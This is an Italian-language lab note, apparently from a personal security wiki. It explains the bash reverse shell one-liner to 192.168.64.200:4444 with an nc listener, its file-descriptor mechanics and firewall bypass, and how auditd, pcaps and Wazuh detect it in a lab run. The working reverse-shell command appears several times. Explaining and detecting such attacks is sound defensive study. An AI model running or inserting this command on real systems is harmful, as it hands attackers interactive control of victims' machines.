Cosa fa#
Apre una shell bash interattiva e redirige stdin, stdout e stderr verso una connessione TCP remota — dando all'attaccante una shell interattiva sulla macchina vittima.
TL;DR#
bash -i >& /dev/tcp/192.168.64.200/4444 0>&1
# [1] [2] [3] [4]bash -i— shell interattiva>&— redirige stdout E stderr/dev/tcp/192.168.64.200/4444— connessione TCP verso attaccante0>&1— redirige stdin allo stesso socket
Risultato: tutti e tre i file descriptor (stdin, stdout, stderr) passano attraverso il socket TCP.
Come funziona#
File descriptor — i tre canali standard#
Ogni processo Linux ha tre canali aperti per default:
| fd | Nome | Cosa fa |
|---|---|---|
| 0 | stdin | riceve input (tastiera) |
| 1 | stdout | invia output normale |
| 2 | stderr | invia errori |
Pezzo per pezzo#
bash -i
Avvia bash in modalità interattiva. Il flag -i fa sì che bash mostri il prompt, accetti input da tastiera e si comporti come una shell normale. Senza -i bash non interagisce con l'utente.
/dev/tcp/192.168.64.200/4444
Non è un file reale — è un pseudo-device di bash (non del kernel). Quando bash incontra /dev/tcp/IP/PORT nella parte destra di un redirect, apre una connessione TCP verso quell'IP e porta. Leggere da questo path riceve dati dal socket. Scrivere su questo path invia dati sul socket.
Corrisponde alla syscall connect() — visibile in auditd come syscall 203 su ARM64.
>&
Redirige sia stdout (fd1) sia stderr (fd2) verso la destinazione. È la forma abbreviata di > /dev/tcp/... 2>&1.
Dopo questo redirect:
fd1 (stdout) → socket TCP → attaccante
fd2 (stderr) → socket TCP → attaccante0>&1
Redirige stdin (fd0) verso dove punta fd1 in questo momento — cioè il socket TCP. Dopo questo redirect stdin legge dal socket, quindi i comandi digitati dall'attaccante su Kali entrano in bash come input.
fd0 (stdin) ← socket TCP ← attaccante (digita comandi)
fd1 (stdout) → socket TCP → attaccante (vede output)
fd2 (stderr) → socket TCP → attaccante (vede errori)Schema completo#
Kali (attaccante) Ubuntu (vittima)
nc -lvnp 4444 bash -i >& /dev/tcp/192.168.64.200/4444 0>&1
| |
|<====== TCP connection ================|
| |
| digita: whoami |
|=======================================>| stdin (fd0)
| |
|<======================================= stdout (fd1): barno
|<======================================= stderr (fd2): eventuali erroriÈ chiamata reverse shell perché la connessione parte dalla vittima verso l'attaccante, non il contrario. Questo bypassa firewall che bloccano connessioni inbound ma permettono connessioni outbound.
Perché è rilevabile#
connect()eseguita da/usr/bin/bashè anomala — bash non apre connessioni di rete nel comportamento normale- auditd con regola su syscall
connect()la intercetta - Nel pcap: connessione persistente bidirezionale da porta effimera verso porta alta non standard
- conv,tcp: durata >60 secondi con traffico bilanciato in entrambe le direzioni
Scenario Reale#
Nel lab 2026-05-10:
# lato Kali — listener
nc -lvnp 4444
# lato Ubuntu — payload eseguito
bash -i >& /dev/tcp/192.168.64.200/4444 0>&1
# evidenza pcap
# 192.168.64.3:56134 <-> 192.168.64.200:4444
# durata: 205 secondi
# porta 56134 = effimera → Ubuntu ha iniziato la connessione
# alert Wazuh
# data.audit.syscall: 203 (connect() su ARM64)
# data.audit.exe: /usr/bin/bashCollegato a#
- system — syscall e file descriptor
- kernel-syscall — connect() come syscall ARM64 203
- reverse-shell — tecnica MITRE T1059.004
- incidents — categoria incident report


